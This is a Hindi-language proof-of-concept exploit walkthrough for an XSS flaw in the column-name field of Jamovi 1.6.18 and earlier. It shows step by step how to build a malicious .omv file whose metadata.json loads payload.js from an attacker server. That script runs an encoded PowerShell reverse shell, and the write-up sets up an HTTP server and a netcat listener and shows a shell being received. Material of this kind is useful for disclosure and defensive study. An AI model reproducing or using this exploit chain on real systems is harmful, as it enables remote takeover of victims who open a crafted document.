
# Jamovi <=1.6.18 में XSS भेद्यता के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट Jamovi <=1.6.18 में XSS भेद्यता के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट। JavaScript पेलोड के साथ दुर्भावनापूर्ण .omv दस्तावेज़ बनाने का प्रदर्शन करता है, जिससे ElectronJS के माध्यम से रिमोट कोड निष्पादन प्राप्त होता है।
Jamovi <=1.6.18 एक क्रॉस-साइट स्क्रिप्टिंग (XSS) भेद्यता से प्रभावित है। कॉलम-नाम ElectronJS Framework में XSS के लिए असुरक्षित है। एक हमलावर एक .omv (Jamovi) दस्तावेज़ बना सकता है जिसमें पेलोड होता है। जब पीड़ित द्वारा खोला जाता है, तो पेलोड ट्रिगर हो जाता है।
🔥\> file example.omv
example.omv: Zip archive data, at least v2.0 to extract
सभी OMV फ़ाइलें संग्रहित डेटा हैं। इसलिए, आप इसे निकाल सकते हैं और XSS बग का शोषण करने के लिए संशोधित कर सकते हैं।
🔥\> unzip example.omv
Archive: example.omv
inflating: META-INF/MANIFEST.MF
inflating: index.html
inflating: metadata.json
inflating: xdata.json
inflating: data.bin
inflating: 01 empty/analysis
🔥\> ls
'01 empty' data.bin index.html metadata.json META-INF example.omv xdata.json
metadata.json फ़ाइल को संपादित करें और अपना XSS पेलोड जोड़ें।
🔥\> python3 -m json.tool metadata.json | head
{
"dataSet": {
"rowCount": 20,
"columnCount": 3,
"removedRows": [],
"addedRows": [],
"fields": [
{
"name": "<script src=\"http://10.x.x.x/payload.js\"></script>",
"id": 1,
Name फ़ील्ड XSS के लिए असुरक्षित है, यही वह जगह है जहाँ हमें अपना XSS पेलोड जोड़ना है। सुनिश्चित करें कि स्क्रिप्ट के अंदर डबल कोट्स को एस्केप किया गया है। सफल शोषण पर यह हमारे वेब सर्वर पर हिट करता है, जहाँ हमारा वास्तविक पेलोड मौजूद है। नीचे JS स्क्रिप्ट का उपयोग करके हम शेल एक्सेस प्राप्त करने के लिए कमांड निष्पादित कर सकते हैं।
require('child_process').exec('command')
यदि विंडोज ओएस है तो आप पावरशेल का उपयोग कर सकते हैं और यदि लिनक्स है तो आप bash वन-लाइनर का उपयोग कर सकते हैं।
🔥\> cat payload.js
require('child_process').exec('powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AeAAuAHgALgB4ACIALAA0ADUANgA3ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==')
ऊपर पावरशेल कमांड के साथ JS फ़ाइल का एक उदाहरण है। अब हमें इस अपडेटेड metadata.json के साथ इसे वापस जिप करना होगा।
🔥\> zip -r example.omv .
adding: 01 empty/ (stored 0%)
adding: 01 empty/analysis (deflated 8%)
adding: index.html (deflated 67%)
adding: xdata.json (deflated 33%)
adding: metadata.json (deflated 78%)
adding: META-INF/ (stored 0%)
adding: META-INF/MANIFEST.MF (deflated 30%)
adding: data.bin (deflated 84%)
🔥\> file example.omv
example.omv: Zip archive data, at least v2.0 to extract
payload.js फ़ाइल को सर्व करने के लिए वेब सर्वर सेटअप करें
🔥\> sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
नेटकैट लिसनर सेटअप करें
🔥\> rlwrap nc -lvnp 4567
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4567
Ncat: Listening on 0.0.0.0:4567
अब XSS बग का शोषण करने के लिए 'example.omv' फ़ाइल को निष्पादित करें और हिट के लिए अपने वेब सर्वर को देखें और फिर नेटकैट लिसनर की जाँच करें।
🔥\> sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.x.x.x - - [31/Oct/2021 08:53:25] "GET /payload.js HTTP/1.1" 200 -
🔥\> rlwrap nc -lvnp 4567
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4567
Ncat: Listening on 0.0.0.0:4567
Ncat: Connection from 10.x.x.x.
Ncat: Connection from 10.x.x.x:76544.
PS C:\Windows\system32> whoami
omni\localuser